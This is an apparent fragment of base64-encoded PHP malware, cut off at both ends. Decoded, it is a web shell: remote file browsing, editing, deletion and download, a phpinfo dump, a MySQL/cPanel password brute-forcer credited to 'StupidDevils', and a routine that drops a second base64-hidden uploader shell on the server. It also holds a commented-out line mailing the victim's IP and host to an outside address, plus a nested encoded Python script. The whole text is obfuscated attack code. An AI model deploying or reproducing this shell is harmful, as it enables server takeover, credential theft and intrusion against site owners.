0Y2ggbWUiIG5hbWU9Im1haWxfc3ViamVjdCIgLz4mbmJzcDsgc3ViamVjdDwvdGQ+PC90cj4NCjx0cj48dGQ+Jm5ic3A7PGlucHV0IHN0eWxlPSJ3aWR0aDoxOSU7IiBjbGFzcz0iaW5wdXR6YnV0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJHbyAhIiBuYW1lPSJtYWlsX3NlbmQiIC8+PC90ZD48L3RyPjwvZm9ybT4NCjx0cj48dGQ+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7PD9waHAgZWNobyAkbXNnOyA/PjwvdGQ+PC90cj4NCjwvdGFibGU+DQo8L2Zvcm0+DQoNCjw/cGhwIH0NCg0KDQplbHNlaWYoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ3BocGluZm8nKSl7IA0KCUBvYl9zdGFydCgpOw0KCUBldmFsKCJwaHBpbmZvKCk7Iik7DQoJJGJ1ZmYgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7DQoJQG9iX2VuZF9jbGVhbigpOwkNCgkkYXdhbCA9IHN0cnBvcygkYnVmZiwiPGJvZHk+IikrNjsNCgkkYWtoaXIgPSBzdHJwb3MoJGJ1ZmYsIjwvYm9keT4iKTsNCgllY2hvICI8ZGl2IGNsYXNzPVwicGhwaW5mb1wiPiIuc3Vic3RyKCRidWZmLCRhd2FsLCRha2hpci0kYXdhbCkuIjwvZGl2PiI7DQp9DQplbHNlaWYoaXNzZXQoJF9HRVRbJ3ZpZXcnXSkgJiYgKCRfR0VUWyd2aWV3J10gIT0gIiIpKXsNCiAgaWYoaXNfZmlsZSgkX0dFVFsndmlldyddKSl7IA0KCWlmKCFpc3NldCgkZmlsZSkpICRmaWxlID0gbWFnaWNib29tKCRfR0VUWyd2aWV3J10pOw0KCWlmKCEkd2luICYmICRwb3NpeCl7DQoJCSRuYW1lPUBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCRmb2xkZXIpKTsNCgkJJGdyb3VwPUBwb3NpeF9nZXRncmdpZChAZmlsZWdyb3VwKCRmb2xkZXIpKTsNCgkJJG93bmVyID0gJG5hbWVbJ25hbWUnXS4iPHNwYW4gY2xhc3M9XCJnYXlhXCI+IDogPC9zcGFuPiIuJGdyb3VwWyduYW1lJ107DQoJfQ0KCWVsc2Ugew0KCQkkb3duZXIgPSAkdXNlcjsNCgl9DQoJJGZpbG4gPSBiYXNlbmFtZSgkZmlsZSk7DQoJZWNobyAiPHRhYmxlIHN0eWxlPVwibWFyZ2luOjZweCAwIDAgMnB4O2xpbmUtaGVpZ2h0OjIwcHg7XCI+DQoJPHRyPjx0ZD5GaWxlbmFtZTwvdGQ+PHRkPjxzcGFuIGlkPVwiIi5jbGVhcnNwYWNlKCRmaWxuKS4iX2xpbmtcIj4iLiRmaWxlLiI8L3NwYW4+DQoJPGZvcm0gYWN0aW9uPVwiP3k9Ii4kcHdkLiImYW1wO3ZpZXc9JGZpbGVcIiBtZXRob2Q9XCJwb3N0XCIgaWQ9XCIiLmNsZWFyc3BhY2UoJGZpbG4pLiJfZm9ybVwiIGNsYXNzPVwic2VtYnVueWlcIiBzdHlsZT1cIm1hcmdpbjowO3BhZGRpbmc6MDtcIj4NCgkJPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwib2xkbmFtZVwiIHZhbHVlPVwiIi4kZmlsbi4iXCIgc3R5bGU9XCJtYXJnaW46MDtwYWRkaW5nOjA7XCIgLz4NCgkJPGlucHV0IGNsYXNzPVwiaW5wdXR6XCIgc3R5bGU9XCJ3aWR0aDoyMDBweDtcIiB0eXBlPVwidGV4dFwiIG5hbWU9XCJuZXduYW1lXCIgdmFsdWU9XCIiLiRmaWxuLiJcIiAvPg0KCQk8aW5wdXQgY2xhc3M9XCJpbnB1dHpidXRcIiB0eXBlPVwic3VibWl0XCIgbmFtZT1cInJlbmFtZVwiIHZhbHVlPVwicmVuYW1lXCIgLz4NCgkJPGlucHV0IGNsYXNzPVwiaW5wdXR6YnV0XCIgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJjYW5jZWxcIiB2YWx1ZT1cImNhbmNlbFwiIG9uY2xpY2s9XCJ0dWthcignIi5jbGVhcnNwYWNlKCRmaWxuKS4iX2xpbmsnLCciLmNsZWFyc3BhY2UoJGZpbG4pLiJfZm9ybScpO1wiIC8+DQoJPC9mb3JtPg0KCTwvdGQ+PC90cj4NCgk8dHI+PHRkPlNpemU8L3RkPjx0ZD4iLnVrdXJhbigkZmlsZSkuIjwvdGQ+PC90cj4NCgk8dHI+PHRkPlBlcm1pc3Npb248L3RkPjx0ZD4iLmdldF9wZXJtcygkZmlsZSkuIjwvdGQ+PC90cj4NCgk8dHI+PHRkPk93bmVyPC90ZD48dGQ+Ii4kb3duZXIuIjwvdGQ+PC90cj4NCgk8dHI+PHRkPkNyZWF0ZSB0aW1lPC90ZD48dGQ+Ii5kYXRlKCJkLU0tWSBIOmkiLEBmaWxlY3RpbWUoJGZpbGUpKS4iPC90ZD48L3RyPg0KCTx0cj48dGQ+TGFzdCBtb2RpZmllZDwvdGQ+PHRkPiIuZGF0ZSgiZC1NLVkgSDppIixAZmlsZW10aW1lKCRmaWxlKSkuIjwvdGQ+PC90cj4NCgk8dHI+PHRkPkxhc3QgYWNjZXNzZWQ8L3RkPjx0ZD4iLmRhdGUoImQtTS1ZIEg6aSIsQGZpbGVhdGltZSgkZmlsZSkpLiI8L3RkPjwvdHI+DQoJPHRyPjx0ZD5BY3Rpb25zPC90ZD48dGQ+PGEgaHJlZj1cIj95PSRwd2QmYW1wO2VkaXQ9JGZpbGVcIj5lZGl0PC9hPiB8IDxhIGhyZWY9XCJqYXZhc2NyaXB0OnR1a2FyKCciLmNsZWFyc3BhY2UoJGZpbG4pLiJfbGluaycsJyIuY2xlYXJzcGFjZSgkZmlsbikuIl9mb3JtJyk7XCI+cmVuYW1lPC9hPiB8IDxhIGhyZWY9XCI/eT0kcHdkJmFtcDtkZWxldGU9JGZpbGVcIj5kZWxldGU8L2E+IHwgPGEgaHJlZj1cIj95PSRwd2QmYW1wO2RsPSRmaWxlXCI+ZG93bmxvYWQ8L2E+Jm5ic3A7KDxhIGhyZWY9XCI/eT0kcHdkJmFtcDtkbGd6aXA9JGZpbGVcIj5nemlwPC9hPik8L3RkPjwvdHI+DQoJPHRyPjx0ZD5WaWV3PC90ZD48dGQ+PGEgaHJlZj1cIj95PSIuJHB3ZC4iJmFtcDt2aWV3PSIuJGZpbGUuIlwiPnRleHQ8L2E+IHwgPGEgaHJlZj1cIj95PSIuJHB3ZC4iJmFtcDt2aWV3PSIuJGZpbGUuIiZhbXA7dHlwZT1jb2RlXCI+Y29kZTwvYT4gfCA8YSBocmVmPVwiP3k9Ii4kcHdkLiImYW1wO3ZpZXc9Ii4kZmlsZS4iJmFtcDt0eXBlPWltYWdlXCI+aW1hZ2U8L2E+PC90ZD48L3RyPg0KCTwvdGFibGU+DQoJIjsNCglpZihpc3NldCgkX0dFVFsndHlwZSddKSAmJiAoJF9HRVRbJ3R5cGUnXT09J2ltYWdlJykpew0KCQllY2hvICI8ZGl2IHN0eWxlPVwidGV4dC1hbGlnbjpjZW50ZXI7bWFyZ2luOjhweDtcIj48aW1nIHNyYz1cIj95PSIuJHB3ZC4iJmFtcDtpbWc9Ii4kZmlsbi4iXCI+PC9kaXY+IjsNCgl9DQoJZWxzZWlmKGlzc2V0KCRfR0VUWyd0eXBlJ10pICYmICgkX0dFVFsndHlwZSddPT0nY29kZScpKXsNCgkJZWNobyAiPGRpdiBjbGFzcz1cInZpZXdmaWxlXCI+IjsNCgkJJGZpbGUgPSB3b3Jkd3JhcChAZmlsZV9nZXRfY29udGVudHMoJGZpbGUpLCIyNDAiLCJcbiIpOw0KCQlAaGlnaGxpZ2h0X3N0cmluZygkZmlsZSk7DQoJCWVjaG8gIjwvZGl2PiI7DQoJfQ0KCWVsc2Ugew0KCQllY2hvICI8ZGl2IGNsYXNzPVwidmlld2ZpbGVcIj4iOw0KCQllY2hvIG5sMmJyKGh0bWxlbnRpdGllcygoQGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlKSkpKTsNCgkJZWNobyAiPC9kaXY+IjsNCgl9DQogIH0NCiAgZWxzZWlmKGlzX2RpcigkX0dFVFsndmlldyddKSl7DQoJCWVjaG8gc2hvd2RpcigkcHdkLCRwcm9tcHQpOw0KICB9DQoJDQp9DQplbHNlaWYoaXNzZXQoJF9HRVRbJ2VkaXQnXSkgJiYgKCRfR0VUWydlZGl0J10gIT0gIiIpKXsNCg0KCQlpZihpc3NldCgkX1BPU1RbJ3NhdmUnXSkpew0KCQkJJGZpbGUgPSAkX1BPU1RbJ3NhdmVhcyddOw0KCQkJJGNvbnRlbnQgPSBtYWdpY2Jvb20oJF9QT1NUWydjb250ZW50J10pOw0KCQkJaWYoJGZpbGV6ID0gQGZvcGVuKCRmaWxlLCJ3Iikpew0KCQkJCSR0aW1lID0gZGF0ZSgiZC1NLVkgSDppIix0aW1lKCkpOw0KCQkJCWlmKEBmd3JpdGUoJGZpbGV6LCRjb250ZW50KSkgJG1zZyA9ICJmaWxlIHNhdmVkIDxzcGFuIGNsYXNzPVwiZ2F5YVwiPkA8L3NwYW4+ICIuJHRpbWU7DQoJCQkJZWxzZSAkbXNnID0gImZhaWxlZCB0byBzYXZlIjsNCgkJCQlAZmNsb3NlKCRmaWxleik7DQoJCQl9DQoJCQllbHNlICRtc2cgPSAicGVybWlzc2lvbiBkZW5pZWQiOw0KCQl9DQoJCWlmKCFpc3NldCgkZmlsZSkpICRmaWxlID0gJF9HRVRbJ2VkaXQnXTsNCgkJaWYoJGZpbGV6ID0gQGZvcGVuKCRmaWxlLCJyIikpew0KCQkJJGNvbnRlbnQgPSAiIjsNCgkJCXdoaWxlKCFmZW9mKCRmaWxleikpew0KCQkJCSRjb250ZW50IC49IGh0bWxlbnRpdGllcyhzdHJfcmVwbGFjZSgiJyciLCInIixmZ2V0cygkZmlsZXopKSk7DQoJCQl9DQoJCQlAZmNsb3NlKCRmaWxleik7DQoJCX0NCgkNCj8+DQo8Zm9ybSBhY3Rpb249Ij95PTw/cGhwIGVjaG8gJHB3ZDsgPz4mYW1wO2VkaXQ9PD9waHAgZWNobyAkZmlsZTsgPz4iIG1ldGhvZD0icG9zdCI+DQo8dGFibGUgY2xhc3M9ImNtZGJveCI+DQo8dHI+PHRkIGNvbHNwYW49IjIiPg0KPHRleHRhcmVhIGNsYXNzPSJvdXRwdXQiIG5hbWU9ImNvbnRlbnQiPg0KPD9waHAgZWNobyAkY29udGVudDsgPz4NCjwvdGV4dGFyZWE+DQo8dHI+PHRkIGNvbHNwYW49IjIiPlNhdmUgYXMgPGlucHV0IG9uTW91c2VPdmVyPSJ0aGlzLmZvY3VzKCk7IiBpZD0iY21kIiBjbGFzcz0iaW5wdXR6IiB0eXBlPSJ0ZXh0IiBuYW1lPSJzYXZlYXMiIHN0eWxlPSJ3aWR0aDo2MCU7IiB2YWx1ZT0iPD9waHAgZWNobyAkZmlsZTsgPz4iIC8+PGlucHV0IGNsYXNzPSJpbnB1dHpidXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IlNhdmUgISIgbmFtZT0ic2F2ZSIgc3R5bGU9IndpZHRoOjEyJTsiIC8+DQombmJzcDs8P3BocCBlY2hvICRtc2c7ID8+PC90ZD48L3RyPg0KPC90YWJsZT4NCjwvZm9ybT4NCjw/cGhwDQp9DQplbHNlaWYoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ2xvZ291dCcpKQ0KewkNCj8+DQo8Zm9ybSBhY3Rpb249Ij95PTw/cGhwIGVjaG8gJHB3ZDsgPz4mYW1wO3g9bG9nb3V0IiBtZXRob2Q9InBvc3QiPg0KDQo8P3BocA0KICAgIHVuc2V0KCRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKV0pOyANCiAgICBlY2hvICdHb29kIEJ5ZSEhJzsgDQp9DQplbHNlaWYoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ2JydXRlJykpDQoJCQl7CQ0KCQkJPz4NCgkJCQk8Zm9ybSBhY3Rpb249Ij95PTw/cGhwIGVjaG8gJHB3ZDsgPz4mYW1wO3g9YnJ1dGUiIG1ldGhvZD0icG9zdCI+DQoJCQk8P3BocA0KCQkJLy9icnV0ZWZvcmNlDQo/Pg0KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgiIC8+DQo8P3BocA0KLyoNClJlY29kZWQgQnkgWCcxbjczY3QNCiovDQpAc2V0X3RpbWVfbGltaXQoMCk7DQpAZXJyb3JfcmVwb3J0aW5nKDApOw0KDQoNCmlmKCRfUE9TVFsncGFnZSddPT0nZmluZCcpDQp7DQppZihpc3NldCgkX1BPU1RbJ3VzZXJuYW1lcyddKSAmJiBpc3NldCgkX1BPU1RbJ3Bhc3N3b3JkcyddKSkNCnsNCiAgICBpZigkX1BPU1RbJ3R5cGUnXSA9PSAncGFzc3dkJyl7DQogICAgICAgICRlID0gZXhwbG9kZSgiXG4iLCRfUE9TVFsndXNlcm5hbWVzJ10pOw0KICAgICAgICBmb3JlYWNoKCRlIGFzICR2YWx1ZSl7DQogICAgICAgICRrID0gZXhwbG9kZSgiOiIsJHZhbHVlKTsNCiAgICAgICAgJHVzZXJuYW1lIC49ICRrWycwJ10uIiAiOw0KICAgICAgICB9DQogICAgfWVsc2VpZigkX1BPU1RbJ3R5cGUnXSA9PSAnc2ltcGxlJyl7DQogICAgICAgICR1c2VybmFtZSA9IHN0cl9yZXBsYWNlKCJcbiIsJyAnLCRfUE9TVFsndXNlcm5hbWVzJ10pOw0KICAgIH0NCiAgICAkYTEgPSBleHBsb2RlKCIgIiwkdXNlcm5hbWUpOw0KICAgICRhMiA9IGV4cGxvZGUoIlxuIiwkX1BPU1RbJ3Bhc3N3b3JkcyddKTsNCiAgICAkaWQyID0gY291bnQoJGEyKTsNCiAgICAkb2sgPSAwOw0KICAgIGZvcmVhY2goJGExIGFzICR1c2VyICkNCiAgICB7DQogICAgICAgIGlmKCR1c2VyICE9PSAnJykNCiAgICAgICAgew0KICAgICAgICAkdXNlcj10cmltKCR1c2VyKTsNCiAgICAgICAgIGZvcigkaT0wOyRpPD0kaWQyOyRpKyspDQogICAgICAgICB7DQogICAgICAgICAgICAkcGFzcyA9IHRyaW0oJGEyWyRpXSk7DQogICAgICAgICAgICBpZihAbXlzcWxfY29ubmVjdCgnbG9jYWxob3N0JywkdXNlciwkcGFzcykpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgZWNobyAiU3R1cGlkRGV2aWxzfiB1c2VyIGlzICg8Yj48Zm9udCBjb2xvcj1ncmVlbj4kdXNlcjwvZm9udD48L2I+KSBQYXNzd29yZCBpcyAoPGI+PGZvbnQgY29sb3I9Z3JlZW4+JHBhc3M8L2ZvbnQ+PC9iPik8YnIgLz4iOw0KICAgICAgICAgICAgICAgICRvaysrOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KICAgIGVjaG8gIjxocj48Yj5Zb3UgRm91bmQgPGZvbnQgY29sb3I9Z3JlZW4+JG9rPC9mb250PiBDcGFuZWwgYnkgU3R1cGlkRGV2aWxzPC9iPiI7DQogICAgZWNobyAiPGNlbnRlcj48Yj48YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj5CQUNLPC9hPiI7DQogICAgZXhpdDsNCn0NCn0NCmlmKCRfUE9TVFsncGFzcyddPT0ncGFzc3dvcmQnKXsNCkBlcnJvcl9yZXBvcnRpbmcoMCk7DQokaSA9IGdldGVudignUkVNT1RFX0FERFInKTsNCiRkID0gZGF0ZSgnRCwgTSBqUywgWSBIOmknLHRpbWUoKSk7DQokaCA9ICRfU0VSVkVSWydIVFRQX0hPU1QnXTsNCiRkaXI9JF9TRVJWRVJbJ1BIUF9TRUxGJ107DQovL21haWwoIm1lQG1yYXRvbXMuY29tIiwiVGVhbXJvb3QgQnJ1dGVmb3JjZSIsIklQIDogJGkgXG4gfCBIb3N0IDogJGggXG4gfCBEaXIgOiAkZGlyIFxuICIpOw0KJGJhY2sgPSAiUEQ5d2FIQU5DbVZqYUc4Z0p6eG1iM0p0SUdGamRHbHZiajBpSWlCdFpYUm9iMlE5SW5CdmMzUWlJR1Z1WTNSNWNHVTlJbTExYkhScGNHRnlkQzltYjNKdExXUmhkR0VpSUc1aGJXVTlJblZ3Ykc5aFpHVnlJaUJwWkQwaWRYQnNiMkZrWlhJaVBpYzdEUXBsWTJodklDYzhhVzV3ZFhRZ2RIbHdaVDBpWm1sc1pTSWdibUZ0WlQwaVptbHNaU0lnYzJsNlpUMGlOVEFpUGp4cGJuQjFkQ0J1WVcxbFBTSmZkWEJzSWlCMGVYQmxQU0p6ZFdKdGFYUWlJR2xrUFNKZmRYQnNJaUIyWVd4MVpUMGlWWEJzYjJGa0lqNDhMMlp2Y20wK0p6c05DbWxtS0NBa1gxQlBVMVJiSjE5MWNHd25YU0E5UFNBaVZYQnNiMkZrSWlBcElIc05DbWxtS0VCamIzQjVLQ1JmUmtsTVJWTmJKMlpwYkdVblhWc25kRzF3WDI1aGJXVW5YU3dnSkY5R1NVeEZVMXNuWm1sc1pTZGRXeWR1WVcxbEoxMHBLU0I3SUdWamFHOGdKenhpUGt0dmNtRnVaeUJFWVdnZ1FtVnlhbUY1WVNCVmNHeHZZV1FnVTJobGJHd2dTMjl5WVc1bklTRWhQR0krUEdKeVBqeGljajRuT3lCOURRcGxiSE5sSUhzZ1pXTm9ieUFuUEdJK1MyOXlZVzVuSUVkaFoyRnNJRlZ3Ykc5aFpDQlRhR1ZzYkNCTGIzSmhibWNoSVNFOEwySStQR0p5UGp4aWNqNG5PeUI5RFFwOURRby9QZz09IjsNCiRmaWxlID0gZm9wZW4oIi5waHAiLCJ3KyIpOw0KJHdyaXRlID0gZndyaXRlICgkZmlsZSAsYmFzZTY0X2RlY29kZSgkYmFjaykpOw0KZmNsb3NlKCRmaWxlKTsNCmNobW9kKCIucGhwIiwwNzU1KTsNCm1rZGlyKCdjb25maWcnLDA3NTUpOw0KJGNwID0NCidJeUV2ZFhOeUwySnBiaTlsYm5ZZ2NIbDBhRzl1RFFvTkNpY25KdzBLUW5rNklFRm9iV1ZrSUZOb1lYZHJlU0JoYTJFZ2JHNTRaek16YXcwS2RHaDRPaUJQWW5wNUxDQlNaV3hwYXl3Z2JXOW9ZV0lnWVc1a0lDTmhjbUZpY0hkdUlBMEtKeWNuRFFvTkNtbHRjRzl5ZENCemVYTU5DbWx0Y0c5eWRDQnZjdzBLYVcxd2IzSjBJSEpsRFFwcGJYQnZjblFnYzNWaWNISnZZMlZ6Y3cwS2FXMXdiM0owSUhWeWJHeHBZZzBLYVcxd2IzSjBJR2RzYjJJTkNtWnliMjBnY0d4aGRHWnZjbTBnYVcxd2IzSjBJSE41YzNSbGJRMEtEUXBwWmlCc1pXNG9jM2x6TG1GeVozWXBJQ0U5SURNNkRRb2dJSEJ5YVc1MEp5Y25DUTBLSUZWellXZGxPaUFsY3lCYlZWSk1MaTR1WFNCYlpHbHlaV04wYjNKNUxpNHVYUTBLSUVWNEtTQWxjeUJvZEhSd09pOHZkM2QzTG5SbGMzUXVZMjl0TDNSbGMzUXZJRnRrYVhJZ0xpNHVYU2NuSnlBbElDaHplWE11WVhKbmRsc3dYU3dnYzNsekxtRnlaM1piTUYwcERRb2dJSE41Y3k1bGVHbDBLREVwRFFvTkNuTnBkR1VnUFNCemVYTXVZWEpuZGxzeFhRMEtabTkxZENBOUlITjVjeTVoY21kMld6SmREUW9OQ25SeWVUb05DaUFnY21WeElDQTlJSFZ5Ykd4cFlpNTFjbXh2Y0dWdUtITnBkR1VwRFFvZ0lISmxZV1FnUFNCeVpYRXVjbVZoWkNncERRb2dJR2xtSUhONWMzUmxiU2dwSUQwOUlDZE1hVzUxZUNjNkRRb2dJQ0FnWmlBOUlHOXdaVzRvSnk5MGJYQXZaR0YwWVM1MGVIUW5MQ0FuZHljcERRb2dJQ0FnWmk1M2NtbDBaU2h5WldGa0tRMEtJQ0FnSUdZdVkyeHZjMlVvS1EwS0lDQnBaaUJ6ZVhOMFpXMG9LU0E5UFNBblYybHVaRzkzY3ljNkRRb2dJQ0FnWmlBOUlHOXdaVzRvSjJSaGRHRXVkSGgwSnl3Z0ozY25LU0FnRFFvZ0lDQWdaaTUzY21sMFpTaHlaV0ZrS1EwS0lDQWdJR1l1WTJ4dmMyVW9LUTBLRFFvZ0lHa2dQU0F3RFFvZ0lHbG1JSE41YzNSbGJTZ3BJRDA5SUNkTWFXNTFlQ2M2RFFvZ0lDQWdaaUE5SUc5d1pXNG9KeTkwYlhBdlpHRjBZUzUwZUhRbkxDQW5jbFVuS1EwS0lDQWdJR1p2Y2lCc2FXNWxJR2x1SUdZNkRRb2dJQ0FnSUNCcFppQnNhVzVsTG5OMFlYSjBjM2RwZEdnb0p6eHNhVDQ4WVNjcElEMDlJRlJ5ZFdVZ09nMEtJQ0FnSUNBZ0lDQnRJRDBnY21VdWMyVmhjbU5vS0hJbktEeGhJR2h5WldZOUlpa29MaXRiWGo1ZEtTZ2lQaWtuTENCc2FXNWxLUTBLSUNBZ0lDQWdJQ0JwSUNzOUlERU5DaUFnSUNBZ0lDQWdiRzlqWVd4ZmJtRnRaU0E5SUNjbGN5OW1hV3hsSldRdWRIaDBKeUFsSUNobWIzVjBMQ0JwS1EwS0lDQWdJQ0FnSUNCd2NtbHVkQ0FuVW1WMGNtbGxkbWx1Wnk0dUxseDBYSFFuTENCemFYUmxJQ3NnYlM1bmNtOTFjQ2d5S1EwS0lDQWdJQ0FnSUNCMGNuazZJQ0IxY214c2FXSXVkWEpzY21WMGNtbGxkbVVvYzJsMFpTQXJJRzB1WjNKdmRYQW9NaWtzSUd4dlkyRnNYMjVoYldVcERRb2dJQ0FnSUNBZ0lHVjRZMlZ3ZENCSlQwVnljbTl5T2cwS0lDQWdJQ0FnSUNBZ0lIQnlhVzUwSUNkY2Jsc2xjMTBnWkc5bGMyNWNKM1FnWlhocGMzUXNJR055WldGMFpTQnBkQ0JtYVhKemRDY2dKU0JtYjNWMERRb2dJQ0FnSUNBZ0lDQWdjM2x6TG1WNGFYUW9LUTBLSUNBZ0lDQWdhV1lnYkdsdVpTNXpkR0Z5ZEhOM2FYUm9LQ2M4YVcxbkp5a2dQVDBnVkhKMVpUb05DaUFnSUNBZ0lDQWdiVEVnUFNCeVpTNXpaV0Z5WTJnb2NpY29QR0VnYUhKbFpqMGlLU2d1SzF0ZVBsMHBLQ0krS1Njc0lHeHBibVVwRFFvZ0lDQWdJQ0FnSUdrZ0t6MGdNUTBLSUNBZ0lDQWdJQ0JzYjJOaGJGOXVZVzFsSUQwZ0p5VnpMMlpwYkdVbFpDNTBlSFFuSUNVZ0tHWnZkWFFzSUdrcERRb2dJQ0FnSUNBZ0lIQnlhVzUwSUNkU1pYUnlhV1YyYVc1bkxpNHVYSFJjZENjc0lITnBkR1VnS3lCdE1TNW5jbTkxY0NneUtRMEtJQ0FnSUNBZ0lDQjBjbms2SUNCMWNteHNhV0l1ZFhKc2NtVjBjbWxsZG1Vb2MybDBaU0FySUcweExtZHliM1Z3S0RJcExDQnNiMk5oYkY5dVlXMWxLUTBLSUNBZ0lDQWdJQ0JsZUdObGNIUWdTVTlGY25KdmNqb05DaUFnSUNBZ0lDQWdJQ0J3Y21sdWRDQW5YRzViSlhOZElHUnZaWE51WENkMElHVjRhWE4wTENCamNtVmhkR1VnYVhRZ1ptbHljM1FuSUNVZ1ptOTFkQTBLSUNBZ0lDQWdJQ0FnSUhONWN5NWxlR2wwS0NrTkNpQWdJQ0FnSUdsbUlHeHBibVV1YzNSaGNuUnpkMmwwYUNnblBFbE5SeWNwSUQwOUlGUnlkV1U2RFFvZ0lDQWdJQ0FnSUcweUlEMGdjbVV1YzJWaGNtTm9LSEluS0R4QklFaFNSVVk5SWlrb0xpdGJYajVkS1NnaVBpa25MQ0JzYVc1bEtRMEtJQ0FnSUNBZ0lDQnBJQ3M5SURFTkNpQWdJQ0FnSUNBZ2JHOWpZV3hmYm1GdFpTQTlJQ2NsY3k5bWFXeGxKV1F1ZEhoMEp5QWxJQ2htYjNWMExDQnBLUTBLSUNBZ0lDQWdJQ0J3Y21sdWRDQW5VbVYwY21sbGRtbHVaeTR1TGx4MFhIUW5MQ0J6YVhSbElDc2diVEl1WjNKdmRYQW9NaWtOQ2lBZ0lDQWdJQ0FnZEhKNU9pQWdkWEpzYkdsaUxuVnliSEpsZEhKcFpYWmxLSE5wZEdVZ0t5QnRNaTVuY205MWNDZ3lLU3dnYkc5allXeGZibUZ0WlNrTkNpQWdJQ0FnSUNBZ1pYaGpaWEIwSUVsUFJYSnliM0k2RFFvZ0lDQWdJQ0FnSUNBZ2NISnBiblFnSjF4dVd5VnpYU0JrYjJWemJsd25kQ0JsZUdsemRDd2dZM0psWVhSbElHbDBJR1pwY25OMEp5QWxJR1p2ZFhRTkNpQWdJQ0FnSUNBZ0lDQnplWE11WlhocGRDZ3BEUW9nSUNBZ1ppNWpiRzl6WlNncERRb2dJR2xtSUhONWMzUmxiU2dwSUQwOUlDZFhhVzVrYjNkekp6b05DaUFnSUNCbUlEMGdiM0JsYmlnblpHRjBZUzUwZUhRbkxDQW5jbFVuS1EwS0lDQWdJR1p2Y2lCc2FXNWxJR2x1SUdZNkRRb2dJQ0FnSUNCcFppQnNhVzVsTG5OMFlYSjBjM2RwZEdnb0p6eHNhVDQ4WVNjcElEMDlJRlJ5ZFdVZ09nMEtJQ0FnSUNBZ0lDQnRJRDBnY21VdWMyVmhjbU5vS0hJbktEeGhJR2h5WldZOUlpa29MaXRiWGo1ZEtTZ2lQaWtuTENCc2FXNWxLUTBLSUNBZ0lDQWdJQ0JwSUNzOUlERU5DaUFnSUNBZ0lDQWdiRzlqWVd4ZmJtRnRaU0E5SUNjbGN5OW1hV3hsSldRdWRIaDBKeUFsSUNobWIzVjBMQ0JwS1EwS0lDQWdJQ0FnSUNCd2NtbHVkQ0FuVW1WMGNtbGxkbWx1Wnk0dUxseDBYSFFuTENCemFYUmxJQ3NnYlM1bmNtOTFjQ2d5S1EwS0lDQWdJQ0FnSUNCMGNuazZJQ0IxY214c2FXSXVkWEpzY21WMGNtbGxkbVVvYzJsMFpTQXJJRzB1WjNKdmRYQW9NaWtzSUd4dlkyRnNYMjVoYldVcERRb2dJQ0FnSUNBZ0lHVjRZMlZ3ZENCSlQwVnljbTl5T2cwS0lDQWdJQ0FnSUNBZ0lIQnlhVzUwSUNkY2Jsc2xjMTBnWkc5bGMyNWNKM1FnWlhocGMzUXNJR055WldGMFpTQnBkQ0JtYVhKemRDY2dKU0JtYjNWMERRb2dJQ0FnSUNBZ0lDQWdjM2x6TG1WNGFYUW9LUTBLSUNBZ0lDQWdhV1lnYkdsdVpTNXpkR0Z5ZEhOM2FYUm9LQ2M4YVcxbkp5a2dQVDBnVkhKMVpUb05DaUFnSUNBZ0lDQWdiVEVnUFNCeVpTNXpaV0Z5WTJnb2NpY29QR0VnYUhKbFpqMGlLU2d1SzF0ZVBsMHBLQ0krS1Njc0lHeHBibVVwRFFvZ0lDQWdJQ0FnSUdrZ0t6MGdNUTBLSUNBZ0lDQWdJQ0JzYjJOaGJGOXVZVzFsSUQwZ0p5VnpMMlpwYkdVbFpDNTBlSFFuSUNVZ0tHWnZkWFFzSUdrcERRb2dJQ0FnSUNBZ0lIQnlhVzUwSUNkU1pYUnlhV1YyYVc1bkxpNHVYSFJjZENjc0lITnBkR1VnS3lCdE1TNW5jbTkxY0NneUtRMEtJQ0FnSUNBZ0lDQjBjbms2SUNCMWNteHNhV0l1ZFhKc2NtVjBjbWxsZG1Vb2MybDBaU0FySUcweExtZHliM1Z3S0RJcExDQnNiMk5oYkY5dVlXMWxLUTBLSUNBZ0lDQWdJQ0JsZUdObGNIUWdTVTlGY25KdmNqb05DaUFnSUNBZ0lDQWdJQ0J3Y21sdWRDQW5YRzViSlhOZElHUnZaWE51WENkMElHVjRhWE4wTENCamNtVmhkR1VnYVhRZ1ptbHljM1FuSUNVZ1ptOTFkQTBLSUNBZ0lDQWdJQ0FnSUhONWN5NWxlR2wwS0NrTkNpQWdJQ0FnSUdsbUlHeHBibVV1YzNSaGNuUnpkMmwwYUNnblBFbE5SeWNwSUQwOUlGUnlkV1U2RFFvZ0lDQWdJQ0FnSUcweUlEMGdjbVV1YzJWaGNtTm9LSEluS0R4QklFaFNSVVk5SWlrb0xpdGJYajVkS1NnaVBpa25MQ0JzYVc1bEtRMEtJQ0FnSUNBZ0lDQnBJQ3M5SURFTkNpQWdJQ0FnSUNBZ2JHOWpZV3hmYm1GdFpTQTlJQ2NsY3k5bWFXeGxKV1F1ZEhoMEp5QWxJQ2htYjNWMExDQnBLUTBLSUNBZ0lDQWdJQ0J3Y21sdWRDQW5VbVYwY21sbGRtbHVaeTR1TGx4MFhIUW5MQ0J6YVhSbElDc2diVEl1WjNKdmRYQW9NaWtOQ2lBZ0lDQWdJQ0FnZEhKNU9pQWdkWEpzYkdsaUxuVnliSEpsZEhKcFpYWmxLSE5wZEdVZ0t5QnRNaTVuY205MWNDZ3lLU3dnYkc5allXeGZibUZ0WlNrTkNpQWdJQ0FnSUNBZ1pYaGpaWEIwSUVsUFJYSnliM0k2RFFvZ0lDQWdJQ0FnSUNBZ2NISnBiblFnSjF4dVd5VnpYU0